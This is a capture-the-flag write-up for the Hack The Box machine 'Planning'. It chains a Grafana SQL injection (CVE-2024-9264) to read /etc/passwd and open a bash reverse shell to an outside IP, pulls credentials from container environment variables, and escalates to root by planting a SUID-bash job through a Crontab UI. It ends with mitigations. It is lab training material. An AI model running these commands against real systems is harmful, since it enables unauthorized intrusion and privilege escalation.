Post

Planning

This machine is based on Public Exploit and Misconfigurations !

Planning
Machine Link 🛡️Planning
Operating SystemLinux
DifficultyEasy
Machine Created byd00msl4y3r & FisMatHack

1️⃣ Introduction

Short description:

Planning is an easy-difficulty Linux machine on Hack The Box, simulating a real-world pentest scenario with initial administrative credentials provided.

Key vulnerabilities/concepts:

Authenticated SQL injection in Grafana (CVE-2024-9264) leading to file reads and RCE, credential exposure via environment variables, and privilege escalation through a misconfigured Crontab UI. Learning goals: Chaining web exploits with container pivots, secure credential handling, and cron job security.

2️⃣ Port Scanning

Why: To identify open ports, services, and versions, mapping the initial attack surface for reconnaissance. This helps prioritize targets like web services.

Commands: Nmap is used for network discovery.

Flag breakdown: -sC (default scripts for additional info like host keys), -sV (service version detection), -vv (very verbose for detailed progress), -T4 (aggressive timing to speed up the scan without being too noisy), -oN (save output to a normal-format file).

Exact Command:

1
sudo nmap -sC -sV -vv -T4 -oN Nmap_Result.txt 10.10.11.68
1
2
3
4
5
6
7
8
9
10
11
12
13
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMv/TbRhuPIAz+BOq4x+61TDVtlp0CfnTA2y6mk03/g2CffQmx8EL/uYKHNYNdnkO7MO3DXpUbQGq1k2H6mP6Fg=
|   256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKpJkWOBF3N5HVlTJhPDWhOeW+p9G7f2E9JnYIhKs6R0
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Edukate - Online Education Website
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Output analysis: Revealed port 22 (SSH: OpenSSH 9.6p1 on Ubuntu Linux) and port 80 (HTTP: nginx 1.24.0 on Ubuntu), with the site title “Edukate - Online Education Website.” This confirms Linux OS and potential web attack vectors.

Notes: Chosen for comprehensive service intel; alternatives include RustScan for faster initial port discovery or Masscan for large-scale scans.

3️⃣ Web Enumeration

Tools: FFUF (fast fuzzer), manual hosts file edit.

Content: Added 10.10.11.68 planning.htb to /etc/hosts to resolve the virtual host, accessing the “Edukate” education site. Subdomain fuzzing discovered grafana.planning.htb.

Default port 80 site

Commands/outputs/explanations: For subdomain enumeration, FFUF fuzzes Host headers. Flag breakdown: -w (wordlist path), -H (custom header for virtual host simulation), -u (target URL), -fs (filter responses by size to ignore defaults).

Command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -H "Host: FUZZ.planning.htb" -u http://planning.htb -fs 178


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/'   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://planning.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt
 :: Header           : Host: FUZZ.planning.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

grafana                 [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 418ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

This indicates a redirect to a Grafana instance, revealing an additional service for potential exploitation.

Reasoning: Essential for uncovering hidden subdomains in name-based hosting; alternatives like Gobuster or DNS brute-forcing with dnsenum. Risks: High request volume might be rate-limited or detected as scanning.

Lets use that to login into the grafana site 🔻

Got the version

4️⃣ Vulnerability Identification

CVE-2024-9264: Grafana Post-Auth DuckDB SQL Injection (RCE, File Read).

Description: Insufficient sanitization of user-supplied queries in Grafana’s experimental SQL Expressions feature allows authenticated users (viewer or higher) to inject arbitrary DuckDB SQL, leading to command injection and local file inclusion. Why vulnerable: Queries are passed unsanitized to DuckDB, enabling functions like read_blob for files or utility commands for RCE (limited to v11.0.0 for full RCE). Impact: Arbitrary file reads across versions 11.0.0-11.2.1; RCE in 11.0.0, potentially allowing shell access.

Reference: https://github.com/nollium/CVE-2024-9264.

5️⃣ Exploitation

Content: Logged into Grafana with provided creds (admin:0D5oT70Fq13EvB5r). Used PoC script for CVE-2024-9264 to read files and execute code. First, file read to gather intel; then, RCE for a reverse shell.

Commands/breakdowns/outputs: Python script exploits via HTTP requests to /api/ds/query. Flags: -u (username), -p (password), -f (file to read), URL.

Command (File Read):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ python3 CVE-2024-9264.py -u admin -p '0D5oT70Fq13EvB5r' -f /etc/passwd http://grafana.planning.htb/ 
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

Output: Dumped /etc/passwd, revealing users like grafana and hinting at enzo. For RCE, -c (command to execute, here a bash reverse shell).

Command (RCE):

1
python3 CVE-2024-9264.py -u admin -p '0D5oT70Fq13EvB5r' -c 'bash -c "bash -i >& /dev/tcp/10.10.16.20/4444 0>&1"' http://grafana.planning.htb/  

Output: Obtained root shell in Grafana Docker container. Reasoning: Direct PoC for authenticated exploit; alternatives include manual HTTP requests with Burp. Risks: Requires auth; could be logged in Grafana audits.

6️⃣ Getting Shell

From RCE, caught reverse shell in container. Stabilized by navigating and running scripts.

Commands/outputs:

1
2
3
4
5
6
7
root@7ce659d667d7:~# cd /
root@7ce659d667d7:/# ls
bin   dev  home  lib32	libx32	mnt  proc  run	   sbin  sys  usr
boot  etc  lib	 lib64	media	opt  root  run.sh  srv	 tmp  var
root@7ce659d667d7:/# ./run.sh
Grafana server is running with elevated privileges. This is not recommended
....

Output: Listed container dirs; run.sh started Grafana, logging env overrides like GF_SECURITY_ADMIN_USER=enzo and masked password. This provided hints for pivoting.

1
2
3
INFO [08-23|17:15:13] Config overridden from Environment variable logger=settings var="GF_SECURITY_ADMIN_USER=enzo"
INFO [08-23|17:15:13] Config overridden from Environment variable logger=settings var="GF_SECURITY_ADMIN_PASSWORD=*********"
INFO [08-23|17:15:13] Target     

7️⃣ Post-Exploitation Enumeration

I checked the env vars in container for creds; pivoted to host via SSH as enzo (password from env); enumerated files and ports.

Commands/outputs/analysis:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@7ce659d667d7:~# env
SHELL=/usr/bin/bash
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
TERM=xterm-256color
AWS_AUTH_EXTERNAL_ID=
SHLVL=3
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=**********  <-- PASSWORD
GF_SECURITY_ADMIN_USER=enzo    <--- USERNAME
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env
OLDPWD=/var/backups
root@7ce659d667d7:~# 

Output: Revealed GF_SECURITY_ADMIN_PASSWORD (redacted). SSH to host, then:

8️⃣ Privilege Escalation

After getting the creds from docker environment variable I got the shell through SSH connection and while enumeration I got a cronjob file in /opt directory🔻

1
2
3
4
5
6
7
enzo@planning:/tmp$ cd /opt/crontabs
enzo@planning:/opt/crontabs$ ls
crontab.db
enzo@planning:/opt/crontabs$ cat crontab.db 
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4**********T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
enzo@planning:/opt/crontabs$ 

This crontab.db file showed jobs, including zip with password P4**********T3c.

I checked the running services and background ports.

Tool: ss
Flags: -t (TCP), -u (UDP), -n (numeric ports), -l (listening), -p (processes).

1
2
3
4
5
6
7
8
9
10
11
12
enzo@planning:/opt/crontabs$ ss -tunlp
Netid        State         Recv-Q        Send-Q               Local Address:Port                Peer Address:Port       Process        
udp          UNCONN        0             0                       127.0.0.54:53                       0.0.0.0:*
udp          UNCONN        0             0                    127.0.0.53%lo:53                       0.0.0.0:* 
tcp          LISTEN        0             151                      127.0.0.1:3306                     0.0.0.0:* 
tcp          LISTEN        0             4096                    127.0.0.54:53                       0.0.0.0:* 
tcp          LISTEN        0             511                        0.0.0.0:80                       0.0.0.0:* 
tcp          LISTEN        0             511                      127.0.0.1:8000                     0.0.0.0:* 
tcp          LISTEN        0             4096                     127.0.0.1:3000                     0.0.0.0:* 
tcp          LISTEN        0             4096                 127.0.0.53%lo:53                       0.0.0.0:* 
tcp          LISTEN        0             4096                             *:22                             *:* 
enzo@planning:/opt/crontabs$ 

I can see port 8000 running internally, so Lets Port Forward it to access that port externally from port 8888 with SSH Local Port Forwarding method like this 🔻

1
2
3
└─$ ssh -L 8888:127.0.0.1:8000 enzo@planning.htb
enzo@planning.htbs password: 
enzo@planning:~$

Flag: -L (local forward). Analysis: Uncovered creds and internal UI for escalation.

Now I have Cronjobs UI site running on port 8888, But Firstly it requires credentials to let me inside that dashboad.

So I used the username as root and the password that I got from the ZIP file as password. And with that I am inside the site 🔻

Crontab UI site

I got the control now lets add a custom command and run it, In my case I will be using SUID on bash🔻

1
echo "chmod u+s /bin/bash" > /tmp/shell.sh

This is how I did it 🔻

1
2
3
4
5
6
enzo@planning:/var/backups$ cd /tmp
enzo@planning:/tmp$ echo 'chmod u+s /bin/bash' >shell.sh
enzo@planning:/tmp$ chmod +x shell.sh
enzo@planning:/tmp$ ls -al /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash
enzo@planning:/tmp$

And set this path from crontab execution 🔻

Crontab set for SUID bash

9️⃣ Root Access

I ran it manually without waiting for cron job to kicks in. And I got the desired SUID permission on bash shell 🔻

1
2
3
enzo@planning:/tmp$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash
enzo@planning:/tmp$

Now lets use the bash to have root shell that will be using effective UID method 🔻

Flag: -p (preserve effective UID). Then:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
enzo@planning:/tmp$ /bin/bash -p
bash-5.2# cd /root
bash-5.2# ls -al
total 40
drwx------  6 root root 4096 Aug 23 11:48 .
drwxr-xr-x 22 root root 4096 Apr  3 14:40 ..
lrwxrwxrwx  1 root root    9 Feb 28 20:41 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr 22  2024 .bashrc
drwx------  2 root root 4096 Apr  1 11:08 .cache
-rw-------  1 root root   20 Apr  3 15:18 .lesshst
drwxr-xr-x  4 root root 4096 Feb 28 19:01 .npm
-rw-r--r--  1 root root  161 Apr 22  2024 .profile
-rw-r-----  1 root root   33 Aug 23 11:48 root.txt
drwxr-xr-x  2 root root 4096 Apr  3 12:54 scripts
drwx------  2 root root 4096 Feb 28 16:22 .ssh
bash-5.2#

I am root now !!

🔍 Mitigation

  • Patch Grafana to 11.0.6+, 11.1.7+, or 11.2.2+; disable SQL Expressions if unused.
  • Avoid storing secrets in environment variables; use secret managers like HashiCorp Vault and mask sensitive logs.
  • Secure Crontab UI with strong, unique passwords; restrict to localhost or VPN; audit cron jobs regularly for unauthorized commands.
  • Remove unnecessary SUID bits (e.g., chmod u-s /bin/bash); enforce least privilege via sudoers file; monitor file permission changes.

💡 Takeaways

  • Initial credentials can amplify vulnerabilities—always rotate and monitor them.
  • Container escapes via exposed env vars highlight the need for isolation and secret injection best practices.
  • Cron misconfigurations are common privesc vectors; regular reviews prevent abuse.
  • Defense-in-depth, including patching and logging, is key to securing web apps like Grafana.

📌 References


If you have any questions or suggestions, please leave a comment below or DM me on Twitter. Thank you!


This post is licensed under CC BY 4.0 by the author.